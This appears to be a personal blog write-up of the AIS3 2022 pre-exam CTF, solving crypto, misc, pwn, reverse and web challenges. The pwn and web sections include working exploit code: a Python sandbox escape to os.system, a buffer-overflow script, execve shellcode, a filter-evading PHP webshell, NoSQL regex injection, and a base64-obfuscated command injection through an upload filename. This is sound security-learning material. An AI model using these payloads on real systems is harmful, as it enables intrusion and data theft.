AIS3 2022 pre-exam writeup

今年超爽的,第一次打CTF搶到排行榜前面,摸到了個第七名,明年看來該去修計安ㄌ

不過還是有很多題目完全沒主意要怎麼解,尤其是pwn和web的部份。很意外的Reverse的部份拿到了不少分數,不知道是不是因為之前打Flareon CTF的關係? 總體來說是個不錯的體驗,期待今年的課程。

scoreboard


Crypto

SC

Substitution Cipher? 直接python開個dictionary對一對應該就可以解了ㄅ

p = open("cipher.py",'r').read()
e = open("cipher.py.enc",'r').read()

dct = {}
for i in range(len(p)):
    dct[e[i]] = p[i]

print(dct)

f = open('flag.txt.enc','r').read()
for c in f:
    print(dct[c],end='')

Flag: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher

題目給的加密方法:

M = 2**1024
def f(x):
    # this is a *fast* function
    return (
        4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
    ) % M
def encrypt(pt, key):
    ct = []
    for c in pt:
        ct.append(c ^ (key & 0xFF))
        key = f(key)
    return bytes(ct)
if __name__ == "__main__":
    key = randbelow(M)
    ct = encrypt(open("flag.txt", "rb").read().strip(), key)
    print(ct.hex())

基本上就是f(x)去生一大串「隨機」的東西然後跟明文xor,所以我們只要想辦法去xor回來就可以了。這裡的重點是 key & 0xFF,也就是說key每一回合都只需要在乎最後一個byte,也就是mod 0x100的意思。那麼顯然初始key丟進去只會有256種可能,就全部試一遍就好,我們甚至可以直接把題目的codeㄎㄧㄤ過來用:

def f(x):
    # this is a *fast* function
    return (
        4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
    ) % M


def encrypt(pt, key):
    ct = []
    for c in pt:
        ct.append(c ^ (key & 0xFF))
        key = f(key)
    return bytes(ct)


if __name__ == "__main__":
    for i in range(0x100):
        key = i
        ct = encrypt(b"\x6c\x0e\xc8\x40\xf8\x8d\x4c\xd7\xfc\xc6\xd5\xc6\xd1\xda\xfc\xc1\xca\xd7\xd0\xfc\xc2\xd1\xc6\xfc\xd6\xd0\xc6\xc7\xfc\xcf\xcc\xcf\xde", key) # 題目給的密文
        if str(ct).isprintable():
            print(str(ct))

Flag (還是要grep一下AIS3): AIS3{not_every_bits_are_used_lol}

Really Strange orAcle

You have a RSA(-like) encryption oracle to use, but you know literally nothing about the public key. Can you still decrypt the flag with it?

題目給的server code:

from Crypto.Util.number import getStrongPrime, getRandomRange, isPrime, bytes_to_long
from pathlib import Path
import json
import os

flag = os.environb[b"FLAG"]

keyfile = Path("./key.json")
if keyfile.is_file():
    key = json.loads(keyfile.read_text())
    n = key["n"]
    e = key["e"]
else:
    p = getStrongPrime(1024)
    n = p * p
    while True:
        e = getRandomRange(2, p) | 1
        if isPrime(e):
            break
    keyfile.write_text(json.dumps({"n": n, "e": e}))

flag += os.urandom(2048 // 8 - len(flag))
c = pow(bytes_to_long(flag), e, n)
print(c)

while True:
    x = int(input())
    if x >= 0:
        print(pow(x, e, n))

這題當初卡了很久,但是現在回頭看的話其實好像也還好。雖然沒給任何public key還是modulo的數字,但我們可以用server的服務靠RSA的性質去推敲出來。

首先來算\(n\)。先讓server幫我們算 \(2^e, 4^e, 8^e \mod{n}\),由於\((2^e)^2 = 4^e, (2^e)^3 = 8^e\),所以當然\((2^e)^2-4^e\equiv (2^e)^3-8^e \equiv 0 \mod{n}\)。算出這兩個東西之後,由於他們都會是\(n\)的倍數,所以直接算gcd有很大的機率它就是\(n\)。

接下來觀察題目的code。跟一般RSA明顯不同的地方是,一般來說RSA選的n必須要是兩個大質數\(p,q\)的乘積,然而這裡卻直接用了\(p^2\),於是我們可以直接把上面的\(n\)丟去網路計算機算個sqrt,就可以得到\(p\)。但是\(e\)要怎麼算? 這裡我卡了很久,不過問了作者後,他提示說是一些數學,所以想一下之後可以發現\(n=p^2\)這個東西的巨大缺陷:

\[\begin{align} (p+1)^e&=C^e_0p^e+C^e_1p^{e-1}\dots+C^e_{e-2}p^2+C^e_{e-1}p+1 &\mod{p^2} \\ &= pe+1 &\mod{p^2} \end{align}\]

於是傳\(p+1\)給server之後,拿下來-1除 \(p\) 我們就得到了 \(e\)。換回\(d\)之後就可以拿來解密了,不過這裡有一點要注意的是\(\phi(p^2)=p^2-p\),所以要拿這個來算modular inverse。

Flag: AIS3{math_go_brrrrr...}


Misc

Gift in the dream

題目給了一張閃爍不定的GIF:

gift_in_the_dream

怎麼看都是把Flag藏在閃爍時間裡頭,google一下可以找到酷酷的工具exiftool,就能把每個frame的時間抓出來,它甚至還直接提示我們時間就是答案:

Graphic Control: delay=0.65
  Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
  + [BinaryData directory, 3 bytes]
  | AnimationIterations = 0
Image: left=0 top=0 width=200 height=200
Graphic Control: delay=0.73
  Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
  + [BinaryData directory, 3 bytes]
  | AnimationIterations = 0
Image: left=97 top=97 width=7 height=7
Graphic Control: delay=0.83
  Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
  + [BinaryData directory, 3 bytes]
  | AnimationIterations = 0
Image: left=94 top=94 width=13 height=13
Graphic Control: delay=0.51

抓出來之後得到的數值是[65,73,83,51,123,53,84,51,103,110,48,103,82,52,112,72,121,95,99,52,78,95,98,51,95,102,85,110,95,115,48,109,51,55,105,77,101,125]。ASCII換一下就得到Flag: AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}

Knock

題目給了一個服務,把要求的token貼上去之後它會說 I have knocked on [IP]。亂猜google了一下knock networking之類的關鍵字可以找到 port knocking 這個東西。開wireshark之後我們可以偵測比賽用vpn上面的traffic,再叫它knock一次:

image-20220520143848915

稍微處理一下port number得到 Flag: AIS3{kn0ckKNOCKknock}

ASTJail

這題真的十分意外拿到了首殺,而且還維持唯一解一整天,明明我是資安小廢物@_@

原題目code:

import sys
import ast
import re
from code import InteractiveConsole

WHITE_LIST = ['print', 'bool', 'int', 'float', 'str', 'len', 'pow',
              'abs', 'min', 'max', 'sum', 'chr', 'ord', 'hex', 'oct', 'bin']
def check(code):
    # Python ast: https://docs.python.org/3.10/library/ast.html
    def traverse(node):
        if isinstance(node, ast.Expression):
            return traverse(node.body)
        elif isinstance(node, ast.Name):
            if node.id not in WHITE_LIST:
                print('[!] Forbidden function: {}'.format(node.id))
                return False
            else:
                return True
        elif isinstance(node, ast.Call):
            return traverse(node.func) and \
                all(traverse(arg) for arg in node.args) and \
                all(traverse(key) for key in node.keywords)
        elif isinstance(node, ast.BoolOp):
            return all(traverse(n) for n in node.values)
        elif isinstance(node, ast.BinOp):
            return traverse(node.left) and traverse(node.right)
        elif isinstance(node, ast.UnaryOp):
            return traverse(node.operand)
        elif isinstance(node, ast.Compare):
            return all(traverse(n) for n in node.comparators) and traverse(node.left)
        elif isinstance(node, ast.List):
            return all(traverse(n) for n in node.elts)
        elif isinstance(node, ast.Tuple):
            return all(traverse(n) for n in node.elts)
        elif isinstance(node, ast.Subscript):
            return traverse(node.value) and traverse(node.slice)
        elif isinstance(node, ast.Slice):
            return traverse(node.lower) and traverse(node.upper)
        elif isinstance(node, ast.Constant) or node == None:
            return True
        else:
            print("[!] Forbidden node type:", type(node).__name__)
            return False
    try:
        if re.search(r'eval|exec|__import__', code):
            print("[!] Seems unsafe...")
            return False
        tree = ast.parse(code, mode='eval')
        return traverse(tree)
    except SyntaxError:
        print("[!] Syntax error")
        return False

class Sandbox(InteractiveConsole):
    def runsource(self, source: str, filename: str = "<input>", symbol: str = "single") -> bool:
        if not source or not check(source):
            return False
        return super().runsource(source, filename=filename, symbol=symbol)

if __name__ == '__main__':
    sandbox = Sandbox()
    banner = f'Python {sys.version} on {sys.platform}\nSupported Function: {", ".join(WHITE_LIST)}'
    sandbox.interact(banner=banner)

基本上它會給你一個python eval shell,但是有幾個filter:

  1. 用AST去parse你給的指令,然後recursive traverse,如果出現不在白名單裡的function就把你擋掉
  2. 整個指令不准出現eval, exec, __import__

第一個filter在仔細對照文件之後可以看到有問題的一行:

elif isinstance(node, ast.Slice):
            return traverse(node.lower) and traverse(node.upper)
------
Slice(expr? lower, expr? upper, expr? step)

Slice (list 的 index) 的部份它少檢查到step, 也就是python iterable裡頭少見的第三項,寫法像是這樣: "abcdefg"[::2] -> 'aceg'。總之我們可以測試這個東西有沒有辦法拿來用:

>>> [1][::print(open('/etc/passwd').read())]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(略)

然後發現可以,所以接下來我們可以透過一般繞過關鍵字的方法來想辦法戳出flag:

[1][::print(list(enumerate(''.__class__.__mro__[-1].__subclasses__())))]
[1,2,3][1:2:print(''.__class__.__mro__[-1].__subclasses__()[138])] --> <class 'os._wrap_close'>
[1,2,3][1:2:print(''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['system']('cat /home/ctf/*'))]

Flag: AIS3{1s_thi5_k1nd_0f_sp0t_th3_d1ff3renc3_g4me?}

References: https://www.gushiciku.cn/pl/2F7p/zh-tw


Pwn

BOF2WIN

基本的Binary overflow題。

from pwn import *
r = remote('chals1.ais3.org', 12347)
r.recvuntil("What's your name?")
target_addr = p64(0x401216)
r.sendline(b'A'*24+target_addr)
r.interactive()

Flag: AIS3{Re@1_B0F_m4st3r!!}

Give Me SC

題目正如字面上的意思一樣,你給它一些字元,它就會把它當function執行。我的shell code是從這裡偷過來ㄉ:https://www.exploit-db.com/exploits/47048

from pwn import *

shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
p = remote("chals1.ais3.org",15566)
p.recvuntil(b"name")
p.sendline(b"aaa")
p.recvuntil(b"shellcode")
p.sendline(shellcode)
p.interactive()

Flag 放在 /home/give_me_sc/flag : AIS3{Y0uR_f1rst_Aarch64_Shellcoding}


Reverse

Time Management

這題也是意外搶到首殺:) 直接上Ghidra:

image-20220520152753594

非常的直白,它會做一些奇怪的加密解密xor的東西,然後每隔非常久的一段時間才印出一個字元。解法很多,我這裡是直接把等待時間patch成0,然後改掉最後的\r 免得它把我們的flag給洗掉。然後flag就出來拉

Flag: AIS3{You_are_the_master_of_time_management!!!!!}

Strings

這題是用rust寫的,然後我不會寫rust。但無論如何,該reverse的還是得reverse。上Ghidra:

Main 裡頭只會call另一個在namespace裡頭的main, 不知道為什麼:

image-20220520153630441

對這個main去把decompile的東西整理檢查一下,很多地方還是無法閱讀,不過重要的是這一段: (清理過後)

core::str::<impl_str>::split(local_190,SUB168(auVar3,0),SUB168(auVar3 >> 0x40,0),"_",1);
i = alloc::vec::Vec<T,A>::len(our_input);
  auVar3 = CONCAT88(j._8_8_,j._0_8_);
  if (i == 0xb) {
    local_108 = 0;
    local_100 = 0xb;
    local_f8 = <I_as_core::iter::traits::collect::IntoIterator>::into_iter(0,0xb);
    while( true ) {
      auVar3 = core::ops::range::Range<A>>::next(local_f8);
      i = SUB168(auVar3 >> 0x40,0);
      if (SUB168(auVar3,0) == 0) break;
      j = auVar3;
      input_char = <alloc::vec::Vec<T,A>as_core::ops::index::Index<I>>::index
                             (our_input,i,&PTR_s_strings.rs__00155d58);
      memcpy(data,DWORD_ARRAY_001451d0,0x58);
      uVar1 = data[i];
      
      bVar2 = &A>::ne(input_char,ais3_str + uVar1 * 2);
      if ((bVar2 & 1) != 0) {
        correct_flag = 0;
      }
    }
  }

這裡的重點是data、input_char、ais3_str這幾個東西。首先,data會存一個 58 bytes 的array,我這裡是瞎猜他是dword array。在loop的時候每回合會檢查input_char == ais3_str[2*data[i]],如果不符合就會失敗。接下來看ais3_str存了些什麼:

image-20220520155250117

image-20220520155559727

我直到作到這裡才發現ais3_str其實不是string,而是string array。這裡所有的string串起來會得到一個假flag,用來嗆想要直接strings交差的人,但看來事實上真的flag其實也藏在這裡。那麼,我們就按照DWORD_ARRAY_001451d0裡面的index,來把flag串起來看看,然後在每個字串中間加_

image-20220520160020665

Flag: AIS3{_the_answer_is_guess_the_strings_using_good_luck_}

這題給了你一些用「文言」寫的程式,然後要求你reverse。按照文件要求用npm安裝之後,就可以把它編譯成js。執行之後會得到一個類似shell的界面:

image-20220520161516682

太多幫助了吧?對js稍微看一下可以發現這個shell的主要功能,開頭要是「蛵煿」才會有動作:

image-20220520161706098

雖然在這個之後我有試圖繼續reverse這個js,但一下英文一下中文的實在是太累了。不過,對這個shell再玩一下可以發現這個:

image-20220520162056149

可以看出每三個字元會對應到兩組數字和中文字,跟base64很像。既然\(95^3=857375\)也不算是太可怕的數字,那麼接下來就是快樂的brute force時間ㄌ:

# -*- coding: utf-8 -*-
from pwn import *
ls = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA_\{\}-"
prefix = "蛵煿 "
dct = {}
r = process('wenyan 殼.wy',shell=True)
r.recvuntil(b"> ")
count = 0
for c1 in ls:
    print(c1)
    for c2 in ls:
        for c3 in ls:
            count += 1
            # if count >= 10: break
            seq = f"{c1}{c2}{c3}"
            r.sendline(prefix+seq)
            res = str(r.recvuntil(b"> ").decode("utf-8"))
            clean = res[18:23]+res[-12:-7]
            
            dct[clean] = seq
# print(dct)

target = ["181m獎202m當","177m之210m兇","191m深170m定","189m忠197m忠","192m複226m除","177m率226m月","191m月170m都","177m三178m還","177m三209m先","188m而197m忠","192m兇198m故","192m複226m巳","177m三222m定","189m率225m陛","194m軍166m除","178m軍186m忠","181m率226m所","177m瀘226m獎","181m獎218m除","179m當166m鈍","178m三170m斟"]

for s in target:
    try:
        print(dct[s], end='\n')
    except:
        print("could not find "+s)

Flag: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}

Calculator

.NET, ILSpy開起來,把每個檔案丟進去可以看到一些過濾條件,照他的條件玩一下填字遊戲就好了:

0123456789012345678901234567890123456789012345
AIS3{          A                             }
    {D                                    G_G}
     D0T_N3T_FRAm3W0rk                  __   
                     k 15_S0_C0mPlicaT3d
AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}

Web

Simple File Uploader

兩個上傳filter:

  1. 副檔名不准是'php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'
  2. 檔案內容不准有system, exec, passthru, show_source, proc_open, popen, pcntl_exec, eval, assert, die, shell_exec, create_function, call _user_func, preg_replace

繞過的方法也簡單:

  1. 副檔名用pHp,這樣php server還是會parse
  2. <?php (sy.(st).em)($_GET['cmd']);

於是就有了webshell, 執行/rUn_M3_t0_9et_fL4g得到flag: FLAG: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

Poking Bear

進去網頁可以看到每個按鈕的url都是chals1.ais3.org:8987/bear/[number],並且按照數字大小排列,但是目標的Secret bear卻沒有數字。於是我們可以開Burp,從bear/350暴力一路戳到bear/777,就可以找到Secret bear 在 bear/499

進去之後點Poke的話,它會說”You can’t poke SECRET BEAR since you are not “bear poker”!”。因此回到Burp,然後把他的cookie 改成 “secret bear”再戳一次就有flag了。

Flag: AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

The Best Login UI

一進去題目看到一個相當實用的登入界面,看到這麼多酷酷的特殊字元,想必這絕對不會是SQLI吧?錯了,檔案裡面有mongoDB的東西,這是NoSQL。那總之就先來試試看一些基本的東西確定是不是NoSQL:

username[$ne]=aaa&password[$ne]=meowmeow  -> success

還真的是NoSQL。那麼接下來試密碼長度。

username[$ne]=toto&password[$regex]=.{41} -> success
username[$ne]=toto&password[$regex]=.{42} -> fail

密碼長度41個字元,接下來就是找密碼了,這裡我們只能一個字元一個字元試,可以用Burp加速這個過程。

username[$ne]=toto&password[$regex]=A.{40} -> success
username[$ne]=toto&password[$regex]=B.{40} -> fail
username[$ne]=toto&password[$regex]=AI.{39} -> success
username[$ne]=toto&password[$regex]=AIS.{38} -> success

Burp的Intruder功能很好用,但是遇到太奇怪的字元有時候也會爛掉,這時候得要用手動Regex來搞binary search…

Regex: [\x00-\x7f] matches all ascii characters

歷經千辛萬苦後我們可以得到flag: AIS3{Bl1nd-b4s3d r3gex n0sq1i?! (:3[___]}

References: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

TariTari

這題給了一個可以把檔案變成 .tar.gz 的網站。步驟分為兩步,首先在/上傳檔案,然後會得到一個/download.php的連結,用來下載檔案。觀察可以發現download.phpfile參數有 path traversal 的問題,於是我們可以dump出原始碼:

GET /download.php?file=Li4vaW5kZXgucGhw&name=index.php
<h1>Tari</h1>
<p>Tari is a service that converts your file into a .tar.gz archive.</p>
<form action="/" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" value="Upload" />
</form>
<?php
function get_MyFirstCTF_flag()
{
    // **MyFirstCTF ONLY FLAG**
    // Please IGNORE this flag if you are AIS3 Pre-Exam Player

    // Congratulations, you found the flag!
    // RCE me to get the second flag, it placed in the / directory :D
    echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}';
}

function tar($file)
{
    $filename = $file['name'];
    $path = bin2hex(random_bytes(16)) . ".tar.gz";
    $source = substr($file['tmp_name'], 1);
    $destination = "./files/$path";
    passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return);
    if ($return === 0) {
        return [$path, $filename];
    }
    return [FALSE, FALSE];
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    if ($file === NULL) {
        echo "<p>No file was uploaded.</p>";
    } elseif ($file['error'] !== 0) {
        echo "<p>Error: Upload error.</p>";
    } else {
        [$path, $filename] = tar($file);
        if ($path === FALSE) {
            echo "<p>Error: Failed to create archive.</p>";
        } else {
            $path = base64_encode($path);
            $filename = urlencode($filename);
            echo "<a href=\"/download.php?file=$path&name=$filename.tar.gz\">Download</a>";
        }
    }
}

題目這裡提示說要找到RCE,這裡一個明顯的選擇是passthru裡面的filename。這裡不知道為什麼,如果傳給他的任何參數包含/\,指令就不會執行,所以我們必須想辦法繞過這個限制。最後我找到的辦法是用base64繞過去:

filename="';X=`echo Y2F0IC8qLnR4dA==|base64 -d`;$X;'"

如此便會執行 cat /*.txt。Flag: AIS3{test_flag (to be changed)}

Author | Chen KB

Article URL: http://chenkb91.github.io/writeup/2022/06/07/ais3-2022-writeup.html